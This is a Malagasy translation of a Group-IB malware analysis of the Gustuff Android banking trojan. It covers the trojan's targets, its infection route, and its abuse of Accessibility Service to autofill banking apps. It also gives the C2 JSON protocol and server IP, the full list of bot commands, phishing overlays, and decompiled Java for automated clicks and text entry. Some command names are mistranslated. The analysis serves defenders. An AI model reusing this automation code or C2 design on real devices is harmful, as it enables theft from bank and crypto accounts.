Ahoana ny fomba nandraisan'ny Gustuff Android Trojan ny crème (fiat sy crypto) amin'ny kaontinao

Ahoana ny fomba nandraisan'ny Gustuff Android Trojan ny crème (fiat sy crypto) amin'ny kaontinao

Ny andro lasa teo Group-IB baovao momba ny asan'ny finday Android Trojan Gustuff. Miasa manokana amin'ny tsena iraisam-pirenena izy io, manafika ny mpanjifan'ny banky vahiny 100 lehibe indrindra, mpampiasa ny poketra crypto finday 32, ary koa ny loharanon-karena e-varotra lehibe. Fa ny mpamorona an'i Gustuff dia mpanao heloka bevava an-tserasera miteny Rosiana amin'ny anaram-bosotra hoe Bestoffer. Vao haingana izy no nidera ny Trojan-ny ho "vokatra matotra ho an'ny olona manana fahalalana sy traikefa."

Mpandinika ny fehezan-dalàna maloto Group-IB Ivan Pisarev ao amin'ny fikarohana nataony dia miresaka amin'ny antsipiriany momba ny fomba fiasan'i Gustuff sy ny loza aterany.

Iza no tadiavin'i Gustuff?

Gustuff dia an'ny taranaka vaovao amin'ny malware manana endri-javatra mandeha ho azy tanteraka. Araka ny filazan'ny mpamorona, ny Trojan dia lasa kinova vaovao nohatsaraina amin'ny malware AndyBot izay nanafika ny telefaona Android nanomboka tamin'ny Novambra 2017 ary nangalatra vola tamin'ny alàlan'ny tranonkala phishing izay masquerade ho fampiharana finday an'ny banky iraisam-pirenena malaza sy ny rafitra fandoavam-bola. Nitatitra i Bestoffer fa ny Gustuff Bot dia mitentina $800 isam-bolana.

Ny famakafakana ny santionan'i Gustuff dia nampiseho fa ny Trojan dia mety mikendry mpanjifa amin'ny fampiasana fampiharana finday amin'ny banky lehibe indrindra, toy ny Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ary koa Bitcoin Wallet , kitapom-bola crypto BitPay. , Cryptopay, Coinbase, sns.

Tany am-boalohany dia noforonina ho Trojan banky mahazatra, ny dikan-tenin'i Gustuff ankehitriny dia nanitatra be ny lisitry ny mety ho lasibatra amin'ny fanafihana. Ho fanampin'ny fampiharana Android ho an'ny banky, orinasa fintech ary serivisy crypto, i Gustuff dia mikendry ny mpampiasa ny rindranasa an-tsena, fivarotana an-tserasera, rafitra fandoavam-bola ary iraka avy hatrany. Indrindra indrindra, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ary ny hafa.

Toerana fidirana: kajy ho an'ny aretina faobe

Gustuff dia miavaka amin'ny alàlan'ny vector "klasika" miditra amin'ny finday Android amin'ny alàlan'ny mailaka SMS misy rohy mankany amin'ny APK. Rehefa voan'ny trojan ny fitaovana Android iray noho ny baikon'ny mpizara, dia azo zaraina bebe kokoa amin'ny alàlan'ny angon-drakitra mifandray amin'ny telefaona voan'ny aretina i Gustuff na amin'ny alàlan'ny angon-drakitra mpizara. Ny fiasan'ny Gustuff dia natao ho an'ny otrikaretina faobe sy ny fampiasam-bola ambony indrindra amin'ny orinasan'ny mpandraharaha azy - manana fiasa "auto-fill" tsy manam-paharoa amin'ny rindranasa banky finday ara-dalàna sy kitapom-bola crypto, izay ahafahanao manafaingana sy mampitombo ny halatra vola. .

Ny fanadihadiana momba ny Trojan dia nampiseho fa ny fiasan'ny autofill dia ampiharina ao amin'ny fampiasana ny Accessibility Service, serivisy ho an'ny olona manana fahasembanana. Gustuff dia tsy Trojan voalohany nahomby tamin'ny fiarovana ny fiarovana amin'ny fifandraisana amin'ireo singa varavarankely amin'ny rindranasa hafa mampiasa ity serivisy Android ity. Na izany aza, mbola tsy fahita firy ny fampiasana ny Service Accessibility miaraka amin'ny autofill.

Rehefa avy misintona amin'ny telefaonan'ilay niharam-boina i Gustuff, mampiasa ny Service Accessibility Service, dia mahazo fahafahana hifanerasera amin'ireo singa varavarankely amin'ny rindranasa hafa (banky, cryptocurrency, ary koa ny fampiharana amin'ny fivarotana an-tserasera, fandefasana hafatra, sns.), Manatanteraka ny hetsika ilaina amin'ny mpanafika. . Ohatra, amin'ny baikon'ny mpizara, ny Trojan dia afaka manindry bokotra ary manova ny soatoavin'ny sehatry ny lahatsoratra amin'ny fampiharana banky. Ny fampiasana ny Mekanisma Accessibility Service dia ahafahan'ny Trojan handalo ny rafitra fiarovana ampiasain'ny banky hanoherana ireo Trojan finday tamin'ny taranaka teo aloha, ary koa ny fanovana ny politikam-piarovana napetraky ny Google amin'ny dikan-teny vaovao amin'ny Android OS. Noho izany, "hain'i Gustuff" ny fanesorana ny fiarovana Google Protect: araka ny filazan'ny mpanoratra, ity fiasa ity dia miasa amin'ny 70% amin'ny tranga.

Ahoana ny fomba nandraisan'ny Gustuff Android Trojan ny crème (fiat sy crypto) amin'ny kaontinao

Gustuff koa dia afaka mampiseho fampandrenesana PUSH sandoka miaraka amin'ny kisary fampiharana finday ara-dalàna. Ny mpampiasa dia manindry ny fampandrenesana PUSH ary mahita varavarankely phishing alaina avy amin'ny mpizara, izay idirany ny angon-drakitra angatahina amin'ny karatra banky na kitapom-bola crypto. Amin'ny toe-javatra hafa, i Gustuff dia manokatra ny fampiharana amin'ny anaran'ny naseho ny fampandrenesana PUSH. Amin'ity tranga ity, ny malware, amin'ny baikon'ny mpizara amin'ny alàlan'ny Service Accessibility Service, dia afaka mameno ny sahan'ny fangatahana banky ho an'ny fifanakalozana hosoka.

Ny fiasan'ny Gustuff dia misy ihany koa ny fandefasana fampahalalana momba ny fitaovana voan'ny aretina amin'ny mpizara, ny fahafahana mamaky / mandefa hafatra SMS, mandefa fangatahana USSD, manomboka ny SOCKS5 Proxy, manaraka rohy, mandefa rakitra (anisan'izany ny scan ny antontan-taratasy, pikantsary, sary) amin'ny mpizara, avereno amin'ny firafitry ny orinasa ny fitaovana.

Famakafakana malware

Alohan'ny hametrahana rindranasa ratsy dia asehon'ny Android OS amin'ny mpampiasa ny varavarankely misy lisitry ny zo nangatahan'i Gustuff:

Ahoana ny fomba nandraisan'ny Gustuff Android Trojan ny crème (fiat sy crypto) amin'ny kaontinao
Ny fametrahana ny fampiharana dia tsy hitranga raha tsy aorian'ny nahazoana ny faneken'ny mpampiasa. Aorian'ny fandefasana ny fampiharana, ny Trojan dia hampiseho varavarankely iray amin'ny mpampiasa:

Ahoana ny fomba nandraisan'ny Gustuff Android Trojan ny crème (fiat sy crypto) amin'ny kaontinao
Dia hanala ny kisary.

Feno hipoka i Gustuff, araka ny filazan'ny mpanoratra, avy amin'ny packer FTT. Rehefa natomboka dia miditra tsindraindray ny mpizara CnC ny fampiharana mba hahazoana baiko. Ao amin'ny rakitra maromaro nodinihinay, ny adiresy IP dia nampiasaina ho mpizara fanaraha-maso 88.99.171[.]105 (antsoina avy eo hoe <%C&C%>).

Aorian'ny fanombohana ny programa dia manomboka mandefa hafatra amin'ny mpizara http://<%CnC%>/api/v1/get.php.

Ity endrika JSON manaraka ity dia andrasana ho valiny:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Isaky ny fangatahana dia mandefa fampahalalana momba ilay fitaovana voan'ny aretina ny fampiharana. Ny endrika hafatra dia aseho eto ambany. Marihina fa ny saha feno, fanampiny, Apps и alalana – azo atao ary halefa raha misy baiko fangatahana avy amin'ny CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Fitehirizana angon-drakitra fikirakirana

Gustuff dia mitahiry fampahalalana manan-danja ao anaty rakitra tianao. Ny anaran'ny rakitra, ary koa ny anaran'ny parameter ao anatiny, dia vokatry ny kajy ny fitambaran'ny MD5 avy amin'ny tady. 15413090667214.6.1<%name%>izay <%name%> dia ny sanda nomena anarana. Fandikan'ny Python ny asa famoronana anarana:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Amin'ity manaraka ity dia holazaintsika hoe nameGenerator(fampidirana).
Ka ny anaran'ny rakitra voalohany dia: nameGenerator("API_SERVER_LIST"), misy sanda misy ireto anarana manaraka ireto:

Anarana miovaova zava-dehibe
nameGenerator("API_SERVER_LIST") Ahitana lisitry ny adiresin'ny CnC ho laharana.
nameGenerator("API_SERVER_URL") Misy adiresy CnC.
nameGenerator("SMS_UPLOAD") Ny saina dia apetraka amin'ny default. Raha napetraka ny saina, dia mandefa hafatra SMS amin'ny CnC.
nameGenerator("SMS_ROOT_NUMBER") Laharana finday handefasana hafatra SMS voarain'ilay fitaovana voan'ny aretina. Ny default dia null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Ny saina dia voafafa amin'ny alàlan'ny default. Raha napetraka, rehefa mahazo SMS ny fitaovana voan'ny aretina, dia halefa any amin'ny laharan'ny faka.
nameGenerator("DEFAULT_APP_SMS") Ny saina dia voafafa amin'ny alàlan'ny default. Raha apetraka io saina io, ny fampiharana dia hikarakara hafatra SMS miditra.
nameGenerator("DEFAULT_ADMIN") Ny saina dia voafafa amin'ny alàlan'ny default. Raha apetraka ny saina dia manana zon'ny mpitantana ny fampiharana.
nameGenerator("DEFAULT_ACCESSIBILITY") Ny saina dia voafafa amin'ny alàlan'ny default. Raha napetraka ny saina, dia mandeha ny serivisy mampiasa ny serivisy fidirana.
nameGenerator("APPS_CONFIG") Ny zavatra JSON, dia misy lisitry ny hetsika tokony hatao rehefa misy hetsika Accessibility mandeha mifandray amina fampiharana manokana.
nameGenerator("APPS_INSTALLED") Mitahiry lisitry ny rindranasa napetraka amin'ny fitaovana.
nameGenerator("IS_FIST_RUN") Esory ny saina amin'ny fanombohana voalohany.
nameGenerator("UNIQUE_ID") Ahitana famantarana tokana. Noforonina rehefa natomboka voalohany ny bot.

Module fanodinana baikon'ny mpizara

Ny fampiharana dia mitahiry ny adiresin'ny mpizara CnC ho toy ny laharan-kodiarana Fototra85 andalana. Ny lisitr'ireo mpizara CnC dia azo ovaina rehefa nahazo ny baiko mifanaraka amin'izany, ka amin'izany dia hotehirizina ao amin'ny rakitra tiany ny adiresy.

Ho valin'ny fangatahana dia mandefa baiko amin'ny fampiharana ny mpizara. Tsara homarihina fa ny baiko sy ny masontsivana dia aseho amin'ny endrika JSON. Ny fampiharana dia afaka manamboatra ireto baiko manaraka ireto:

ekipa famaritana
forwardStart Atombohy ny fandefasana hafatra SMS voarain'ilay fitaovana voan'ny aretina mankany amin'ny mpizara CnC.
forwardStop Atsaharo ny fandefasana hafatra SMS voarain'ilay fitaovana voan'ny aretina mankany amin'ny mpizara CnC.
ussdRun Manaova fangatahana USSD. Ny isa ilainao hanaovana fangatahana USSD dia ao amin'ny saha "numero" JSON.
mandefaSms Alefaso hafatra SMS iray (raha ilaina dia "zaraina" ho ampahany ny hafatra). Ho mari-pamantarana, ny baiko dia maka zavatra JSON misy ny saha "to" - ny laharan'ny toerana haleha sy ny "body" - ny vatan'ny hafatra.
sendSmsAb Alefaso hafatra SMS (raha ilaina, ny hafatra dia "mizara" ho ampahany) ho an'ny rehetra avy amin'ny lisitry ny fifandraisana amin'ny fitaovana voan'ny aretina. Ny elanelana eo anelanelan'ny fandefasana hafatra dia 10 segondra. Ny vatan'ny hafatra dia ao amin'ny saha JSON "body"
sendSmsMass Mandefasa hafatra SMS (raha ilaina, ny hafatra dia "mizara" ho ampahany) amin'ny fifandraisana voatondro ao amin'ny baikon'ny baiko. Ny elanelana eo anelanelan'ny fandefasana hafatra dia 10 segondra. Amin'ny maha-parameter azy, ny baiko dia maka JSON array (sms "sms"), ny singa misy ny saha "to" - ny laharan'ny toerana sy ny "body" - ny vatan'ny hafatra.
changeServer Ity baiko ity dia afaka maka sanda amin'ny fanalahidin'ny "url" ho mari-pamantarana - avy eo dia hanova ny sandan'ny nameGenerator("SERVER_URL") ny bot ("SERVER_URL"), na "array" - avy eo ny bot dia hanoratra ny array amin'ny nameGenerator ("API_SERVER_LIST") Noho izany, manova ny adiresin'ny mpizara CnC ny fampiharana.
adminNumber Ny baiko dia natao hiasa amin'ny laharana fototra. Ny baiko dia manaiky zavatra JSON miaraka amin'ireto mari-pamantarana manaraka ireto: "numero" - manova anaranaGenerator("ROOT_NUMBER") amin'ny sanda voaray, "resend" - manova anaranaGenerator("SMS_ROOT_NUMBER_RESEND"), "sendId" - alefaso uniqueID amin'ny nameGenerator("ROOT_NUMBER ").
updateInfo Alefaso any amin'ny mpizara ny fampahalalana momba ilay fitaovana voan'ny aretina.
wipeData Ny baiko dia natao hamafa ny angona mpampiasa. Miankina amin'ny anarana natomboka ny fampiharana, na ny famafana tanteraka ny angon-drakitra miaraka amin'ny famerenan'ny fitaovana (mpampiasa voalohany) na ny famafana ny angona mpampiasa ihany (mpampiasa faharoa).
socksStart Sokafy ny module proxy. Ny fiasan'ny môdôla dia voalaza ao amin'ny fizarana misaraka.
socksStop Atsaharo ny module proxy.
openLink Araho ny rohy. Ny rohy dia ao amin'ny parameter JSON amin'ny famaha "url". "android.intent.action.VIEW" dia ampiasaina hanokafana ny rohy.
uploadAllSms Alefaso any amin'ny mpizara ny hafatra SMS rehetra voarain'ilay fitaovana.
uploadAllPhotos Alefaso any amin'ny URL ny sary avy amin'ilay fitaovana voan'ny aretina. Ny URL dia tonga toy ny paramètre.
uploadFile Mandefasa rakitra iray avy amin'ny fitaovana iray voan'ny aretina mankany amin'ny URL. Ny URL dia tonga toy ny paramètre.
uploadPhoneNumbers Alefaso ny laharan-telefaona avy amin'ny lisitry ny fifandraisana amin'ny mpizara. Raha misy zavatra JSON miaraka amin'ny fanalahidy "ab" tonga ho paramètre, dia mahazo lisitry ny fifandraisana avy amin'ny bokin'ny telefaona ny fampiharana. Raha misy zavatra JSON misy ny fanalahidy "sms" voaray ho mari-pamantarana, ny fampiharana dia mamaky ny lisitry ny fifandraisana avy amin'ireo mpandefa hafatra SMS.
changeArchive Ny fampiharana dia misintona rakitra iray avy amin'ny adiresy izay tonga ho mari-pamantarana amin'ny alàlan'ny famaha "url". Ny rakitra alaina dia voatahiry amin'ny anarana hoe "archive.zip". Ny fampiharana dia hamoaka ny rakitra, raha tsy izany dia mampiasa ny tenimiafina arsiva "b5jXh37gxgHBrZhQ4j3D". Tehirizina ao amin'ny lahatahiry [fitehirizana ivelany]/hgps ireo fisie tsy nosokafana. Ao amin'ity lahatahiry ity, ny fampiharana dia mitahiry hosoka amin'ny Internet (voalaza eto ambany).
tahiry Ny baiko dia natao hiasa miaraka amin'ny Action Service, izay voalaza ao amin'ny fizarana misaraka.
fitsapana Tsy manao na inona na inona.
Download Ny baiko dia natao hisintona rakitra avy amin'ny mpizara lavitra ary hitahiry azy ao amin'ny lahatahiry Downloads. Ny URL sy ny anaran'ny rakitra dia tonga toy ny paramètre, ny saha ao amin'ny JSON object dia ny parameter tsirairay: "url" sy "fileName".
esory Manala rakitra iray ao amin'ny lahatahiry Downloads. Ny anaran'ny rakitra dia tonga amin'ny parameter JSON miaraka amin'ny famaha "fileName". Ny anaran'ny rakitra default dia "tmp.apk".
fampahafantarana Asehoy ny fampandrenesana miaraka amin'ny famaritana sy ny lohateny voafaritry ny lohamilina mpitantana.

endrika baiko fampahafantarana:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Ny fampahafantarana navoakan'ny rakitra eo am-panadihadiana dia mitovy amin'ny fampahafantarana navoakan'ny fampiharana voalaza ao amin'ny saha App. Raha ny sandan'ny saha misokatra App - Marina fa rehefa misokatra ny fampandrenesana dia alefa ny fampiharana voalaza ao amin'ny saha App. Raha ny sandan'ny saha misokatra App - Diso, ka:

  • Misokatra ny varavarankely phishing, ny ao anatiny dia voarakitra ao amin'ny lahatahiry <%external storage%>/hgps/<%filename%>
  • misokatra ny varavarankely phishing, izay alaina avy amin'ny mpizara ny atiny <%url%>?id=<%Bot id%>&app=<%Anaran'ny fampiharana%>
  • Mivoha ny varavarankely phishing iray misandoka ho Google Play Card, miaraka amin'ny safidy hampiditra antsipirihan'ny karatra.

Ny fampiharana dia mandefa ny vokatry ny fanatanterahana ny baiko rehetra <%CnC%>set_state.php ho zavatra JSON amin'ny endrika manaraka:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Ny lisitry ny baiko izay ahitana ny fizotran'ny fampiharana hetsika. Rehefa voaray ny baiko dia miantso an'io serivisy io ny maody fanodinana baiko mba hanatanteraka ny baiko lava. Ny serivisy dia maka zavatra JSON ho marika. Ny serivisy dia afaka manatanteraka ireto baiko manaraka ireto:

1. PARAMS_ACTION - rehefa mahazo baiko toy izany, ny serivisy voalohany indrindra dia mahazo sanda avy amin'ny parameter JSON amin'ny alàlan'ny fanalahidy Type, dia mety ho toy izao manaraka izao:

  • serviceInfo - ny subcommand dia mahazo ny sanda avy amin'ny parameter JSON amin'ny fanalahidy ampidiro tsy zava-dehibe. Raha Marina ny saina, dia mametraka ny saina ny fampiharana FLAG_ISOLATED_PROCESS amin'ny serivisy iray mampiasa ny Service Accessibility. Araka izany, hatomboka amina dingana mitokana ny serivisy.
  • faka - mandray sy mandefa any amin'ny mpizara vaovao momba ny varavarankely izay mifantoka amin'izao fotoana izao. Ny fampiharana dia mahazo fampahalalana amin'ny alàlan'ny kilasy AccessibilityNodeInfo.
  • Admin - mangataka zon'ny mpitantana.
  • fahatarana - atsaharo ny ActionsService amin'ny isan'ny milisegondra voatondro ao amin'ny mari-pamantarana amin'ny famaha "data".
  • am-baravarankely - mandefasa lisitry ny varavarankely hitan'ny mpampiasa.
  • hametraka - mametraka ny fampiharana amin'ny fitaovana voan'ny aretina. Ny anaran'ny fonosana - arsiva dia ao amin'ny famaha "fileName". Ny tahiry mihitsy dia hita ao amin'ny lahatahiry Downloads.
  • maneran- - ny subcommand dia natao hifindra avy amin'ny varavarankely ankehitriny:
    • ao amin'ny menu Quick Settings
    • lasa izay
    • an-trano
    • amin'ny fampandrenesana
    • mankany amin'ny varavarankelin'ny fampiharana nosokafana vao haingana

  • fandefasana - manomboka ny fampiharana. Ny anaran'ny rindranasa dia tonga ho toy ny mari-pamantarana fototra tahirin-kevitra.
  • feo - hanova ny fomba feo ho mangina.
  • mamoha - mamelona ny jiro lamosina amin'ny efijery sy ny fitendry mba hamirapiratra tanteraka. Ny fampiharana dia manao ity hetsika ity amin'ny fampiasana WakeLock, mamaritra ny tady [Lable fampiharana]:INFO ho marika
  • permissionOverlay — tsy ampiharina ny asa (valiny amin'ny fanatanterahana baiko — {"message":"Not support"} na {"message":"low sdk"})
  • fihetsika — tsy ampiharina ny asa (valiny amin'ny fanatanterahana baiko — {"message":"Not support"}na {"message":"Low API"})
  • alalana - Ity baiko ity dia takiana amin'ny fangatahana alalana amin'ny fampiharana. Na izany aza, tsy ampiharina ny asa fangatahana, noho izany dia tsy misy dikany ny baiko. Ny lisitry ny fahazoan-dàlana nangatahana dia tonga amin'ny laharan'ny JSON miaraka amin'ny fanalahidy "fahazoan-dàlana". Lisitra mahazatra:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • misokatra - mampiseho varavarankely phishing. Miankina amin'ny mari-pamantarana avy amin'ny mpizara, ny fampiharana dia afaka mampiseho ireto varavarankely phishing manaraka ireto:
    • Asehoy ny varavarankely phishing izay voasoratra ao anaty rakitra ao anaty lahatahiry ny atiny <%external directory%>/hgps/<%param_filename%>. Ny vokatry ny fifandraisan'ny mpampiasa amin'ny varavarankely dia halefa any amin'ny adiresy <%CnC%>/records.php
    • Asehoy ny varavarankelin'ny phishing izay efa voapetraka mialoha avy amin'ny adiresy iray ny atiny <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Ny vokatry ny fifandraisan'ny mpampiasa amin'ny varavarankely dia halefa any amin'ny adiresy <%CnC%>/records.php
    • Asehoy ny varavarankelin'ny phishing nadika ho Karatra Google Play.

  • fifandraisana - Ny baiko dia natao hifaneraserana amin'ireo singa varavarankely amin'ny rindranasa hafa mampiasa ny AcessibilityService. Misy serivisy manokana apetraka ao amin'ny programa momba ny fifandraisana. Ny fampiharana eo am-panadihadiana dia afaka mifandray amin'ny windows:
    • Active amin'izao fotoana izao. Amin'ity tranga ity, ny parameter dia misy ny id na lahatsoratra (anarana) amin'ny zavatra tianao hifaneraserana.
    • Hitan'ny mpampiasa amin'ny fotoana hanatanterahana ny baiko. Ny fampiharana dia mifidy windows amin'ny id.

    Rehefa nahazo ny zavatra AccessibilityNodeInfo ho an'ny singa fikandrana mahaliana, ny fampiharana, miankina amin'ny masontsivana, dia afaka manao ireto hetsika manaraka ireto:

    • mifantoka - mametraka fifantohana amin'ny zavatra iray.
    • tsindrio - tsindrio amin'ny zavatra iray.
    • actionId - manao hetsika amin'ny ID.
    • setText - manova ny lahatsoratry ny zavatra. Ny fanovana ny lahatsoratra dia azo atao amin'ny fomba roa: manao hetsika ACTION_SET_TEXT (raha toa ka tanora kokoa na mitovy amin'ny ny dikan-Android an'ilay fitaovana voan'ny aretina LOLLIPOP), na amin'ny fametrahana kofehy eo amin'ny solaitrabe ary apetaho amin'ny zavatra iray (ho an'ny dikan-teny taloha). Ity baiko ity dia azo ampiasaina hanovana ny angona ao amin'ny fampiharana banky.

2. PARAMS_ACTIONS - toy ny PARAMS_ACTION, baiko JSON ihany no tonga.

Toa maro no ho liana amin'ny fomba fiasan'ny fifandraisana amin'ireo singa ao amin'ny varavarankelin'ny fampiharana hafa. Toy izao ny fampiharana ity fampiasa ity ao amin'ny Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Asa fanoloana lahatsoratra:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Noho izany, miaraka amin'ny fanamafisam-peo marina amin'ny mpizara fanaraha-maso, i Gustuff dia afaka mameno ny saha an-tsoratra ao amin'ny fampiharana banky ary manindry ny bokotra ilaina hamitana ny fifampiraharahana. Ny Trojan dia tsy mila mandefa fanomezan-dàlana amin'ny fampiharana akory - ampy ny mandefa baiko hanehoana fampandrenesana PUSH, arahin'ny fanokafana fampiharana banky efa napetraka teo aloha. Ny mpampiasa mihitsy no hahazo alalana, aorian'izay i Gustuff dia afaka mameno ho azy.

Module fanodinana SMS

Ny fampiharana dia mametraka mpitantana hetsika handraisana hafatra SMS amin'ny fitaovana voan'ny aretina. Ny fampiharana eo am-pandinihana dia afaka mahazo baiko avy amin'ny mpandraharaha izay tonga ao amin'ny vatan'ny hafatra SMS. Ny baiko dia tonga amin'ny endrika:

7!5=<%Base64 voakodia baiko%>

Ny fampiharana dia mikaroka ireo hafatra SMS rehetra ho an'ny tady 7!5=, rehefa hita ny tady, dia mamadika ny tady avy amin'ny Base64 amin'ny offset 4 izy ary manatanteraka ny baiko. Ny baiko dia mitovy amin'ny baiko amin'ny CnC. Ny vokatry ny famonoana dia alefa amin'ny isa mitovy amin'ny nahazoana ny baiko. endrika valinteny:

7*5=<%Base64 encode an'ny "result_code command"%>

Raha tsy izany, ny fampiharana dia afaka mandefa ny hafatra voaray rehetra amin'ny laharana Root. Mba hanaovana izany, ny laharan'ny Root dia tsy maintsy apetraka ao amin'ny rakitra preference ary tsy maintsy apetraka ny sainam-pamoahana hafatra. Misy hafatra SMS alefa any amin'ny laharan'ny mpanafika amin'ny endrika manaraka:

<%Avy amin'ny isa%> - <%Fotoana, endrika: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Ary koa, raha tsy izany, ny fampiharana dia afaka mandefa hafatra amin'ny CnC. Ny hafatra SMS dia alefa amin'ny mpizara amin'ny endrika JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Raha napetraka ny saina nameGenerator("DEFAULT_APP_SMS") - ny fampiharana dia mijanona amin'ny fanodinana ny hafatra SMS ary mamafa ny lisitry ny hafatra ho avy.

Module proxy

Ao amin'ny fampiharana eo am-pandinihana, dia misy ny Backconnect Proxy module (antsoina avy eo hoe ny Proxy module), izay manana kilasy mitokana izay misy saha static miaraka amin'ny fanamafisana. Ny angon-drakitra fanamafisana dia voatahiry ao amin'ny santionany amin'ny lahatsoratra mazava:

Ahoana ny fomba nandraisan'ny Gustuff Android Trojan ny crème (fiat sy crypto) amin'ny kaontinao

Ny hetsika rehetra ataon'ny môdely Proxy dia tafiditra ao anaty rakitra. Mba hanaovana izany, ny fampiharana dia mamorona lahatahiry antsoina hoe "logs" ao amin'ny External Storage (ny ProxyConfigClass.logsDir saha ao amin'ny kilasy configuration), izay misy ny rakitra log. Ny fanoratana dia atao amin'ny rakitra misy anarana:

  1. main.txt – Ity rakitra ity dia ampiasaina hanoratana ny asan'ny kilasy antsoina hoe CommandServer. Amin'ity manaraka ity, ny fanoratana ny string str amin'ity rakitra ity dia holazaina ho mainLog(str).
  2. session-<%id%>.txt - Ny angona diary mifandray amin'ny session proxy iray dia voatahiry ao amin'ity rakitra ity. Amin'ity manaraka ity, ny fanoratana ny string str amin'ity rakitra ity dia holazaina ho sessionLog (str).
  3. server.txt – io rakitra io no misy ny angon-drakitra rehetra voasoratra ao amin'ny rakitra etsy ambony.

Rafitra angon-drakitra:

<%Daty%> [Thread[<%thread id%>], id[]]: log-string

Ny fanavahana izay mitranga mandritra ny fampandehanana ny maody Proxy dia tafiditra ao anaty rakitra ihany koa. Mba hanaovana izany, ny fampiharana dia mamorona zavatra JSON amin'ny endrika:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Avy eo dia mamadika azy ho fanehoana tady sy log.

